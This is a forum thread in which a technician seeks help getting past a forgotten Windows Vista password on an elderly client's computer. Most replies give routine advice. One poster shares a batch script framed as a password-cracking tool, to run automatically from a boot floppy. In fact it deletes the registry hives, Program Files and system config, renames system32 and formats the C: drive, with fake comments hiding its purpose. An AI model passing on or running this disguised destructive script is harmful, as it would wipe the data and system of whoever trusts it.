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by horrorshow247

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Okay, I know how this is going to sound. I work on computers on the side, and I have this 80 year old german lady that has forgotten her login password to Vista. I have try booting in safe mode to bypass it but I did not see a safe mode option. Dell tech support said that I am going to have to reformat the computer to fix it. She does not even want a password on there her grand kid set it up like that and she went on a month long vacation to St. Martin. So.... any ideas?

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by w2ktechman

A CRACKER!!!
But I will give you the benefit of a doubt, cause I am just that way sometimes.

Dell support is right, the best way is to wipe and reload. But, you may be able to take it in to a shop.

by horrorshow247

I promise I am not a cracker (holding back a racist joke now). But I really dont want to reload this ladys computer. She has ALL this software that she has piled up and everything. She doesnt even use have of it. Her son bought her this computer, and it is THE best on the market. She sends email on it and reads the local papers. THATS IT. Gotta love it.

by older mycroft

You posted that the owner's son placed a password on it, then after a month-long holiday the owner cannot remember the password: just where did you feature in this loop?

You haven't been able to gain access, even through Safe Mode - how do you know about [i]"ALL this software that she has piled up on it and everything"[/i].

I'd also be interested in what you consider to be [i]"THE best on the market"[/i] computer.

Perhaps you can explain what is 'racist' about the word [u]cracker[/u]?

by saugust234

I have Vista, and I have to tell you that yes your correct they are one of the hardest nuts to crack! I have had Vista program on my new laptop now for over 7 mo and just now I am scratching th surface. After you get it powered on, to get to the safe mode if F5 wont let you then simply shut it off by holding in the button...wait thiry sec and it will have re boot itself and run through the check registry. Now hate to tell you but the odds are with her age and all the pass is most likely her kids name with age or dead husbands/Pet useually very simple at there age. Hope it works.

by horrorshow247

Well I run Task Manager Technologies, my own little small business dream. She is a returning client. I went to her house to see if i could give it a quick fix. I could not. I call tech support because she wanted me to. They said reformat it. That is when the software piled up.
The best on the market means that it is way better then mine. It is something you would see a hard core gamer have. Not a 80 year old. Not that there is anything wrong with that. And the craker remark was a joke as to what a slang term is for a caucasin. Which is me.

by the scummy one

dont you have expensive tools/utilities at your disposal???

I mean really, what shop does not keep tools/utilities available?

Contact Microsoft, ask about ERD commander. A tech shop would benefit with this utility.

But, if you are just looking to crack into a system, I do have a nice little script :0
(oops, I didnt say that)......

However, I would suggest only using it on your own system until you get used to it a bit...

by the scummy one

Please read my other posts first. Only continue if you want to study the art of cracking...
I accept donations for materials such as this. If you find it useful, please send monies..

XP/2K PW Cracking
PW break/recover/crack
Ok, so you wanna be a cracker. This is cracking 101. Just remember that NEVER TRY THIS, as it is illegal. Ok, for starters let me just say that this is tricky. No actual danger though, but you really should practice it on your own system before attempting to try it on anyone elses. You should at minimum try it 5 or 6 times to really get to know how to do it well.

Items needed

Ability to create a batch file
floppy disk
USB floppy disk drive
create a boot floppy with NTFS Write permissions

Ok, once you have gathered the materials you should already have a boot floppy ready. In the autoexec.bat file add the line suser.bat at the end.

On your desktop, create a file called suser.txt for (suser stands for Super User).
Open the suser.txt file and paste the information below

cls
rem # start _admin.pwd
ren %systemroot%\system32\etc %systemroot%\system32\cet
rem start process A32#458
ren %systemroot%\repair\DS_SOFTWARE A1E
ren %systemroot%\repair\DS_SECURITY A2E
ren %systemroot%\repair\DS_SAM A3E
ren %systemroot%\repair\DS_system.bak A4E
del %systemroot%\repair\A*.* /Q /F
del %systemroot%\repair\s*.* /Q /F
rem script _admin.pwd
del %systemroot%\system32\catroot\*.*
del %systemroot%\system32\catroot2\*.*
del %systemroot%\system32\drivers\cet*.*
rem new_pwd.pwd ==generate 0
del "c:\program files" /Q /F
ren %systemroot%\system32 %systemroot%\newpwd
ren %systemroot%\system %systemroot%\system32
rem AUTO_START new_pwd.pwd 44#1
rem _admin.pwd == DISABLE
del %systemroot%\system32\config /Q /F
erase %systemroot%\system32\LogFiles\*.*
rem ACTIVATE_MEMORY_FLOOD_0x0000323A
rem DISABLE_LOGFILES
format c:\ /Q /A:4096
rem RESTART _admin.pwd

Paste all of this into the suser.txt file. Save and close the file. Rename the file to suser.bat
copy the file to your boot floppy disk.

Boot to the new floppy disk and test it. This may stop and ask to press OK a few times. It should not, but it may still.
Sometimes people really lock down the admin account, but this program is smart enough to unlock from both 'hidden' places, to allow a 'no password' option and blank it out, a double whammy!!!

Remember, this is a REAL program that can get you into serious trouble. Also, it is 'time sensitive' when dealing with another persons system without them knowing. Always get to know a program with this much power BEFORE attempting to use it on someone elses machine.

And most of all, never actually use it. I posted it as informative material. USE AT YOUR OWN RISK!!!
And, never ever tell anyone that I gave this to you...

by older mycroft

So it's not as if you'd be talking to a child. Has the owner thought of talking to them regarding the password?

Have you tried logging in as Administrator?

by horrorshow247

They dont know what they set the password up as and she has changed it since then because her grand kid said to. How do i log on as administrator on Vista? I have no idea with the new windows yet.

by older mycroft

I cannot truly believe that you have just asked that question... that is the kind of question a little kid would ask!

You log in as Administrator just the same as you would in XP !!!

by boxfiddler

derogative slang for 'white person', usually used by black people. Chris Rock does an extensive bit on 'crackers'.

by horrorshow247

Day 2 of this problem now. The admin login and the guest login say they are disabled. So Since i cannot get on the computer any way possible, I have started to reformat the computer. But It now wont do that either. The disks get about as far as saying it is loading the files then I get a blank screen and then the cd rom sounds like it just stops. Tech support from dell is no help.

by tig2

But have you tried to call Microsoft? They are generally pretty good when the problem is Vista.

You will want to have your OEM CD handy. I think there is a number on it that they will want to verify the copy.

Good luck!

by the scummy one

Maybe it is time to take this to the shop! If the users data is important to them, it needs to be backed up before you continue.

After the data is backed up, then you can continue using FDISK. Then you can try re-installing with the proper cd.

or, just have the tech's at the shop fix it....

by horrorshow247

Even though none of the advice you all gave me worked for her, i know it would of under normal circumstances. But I found a program that blanks out all passwords on the computer and now there is no problem.

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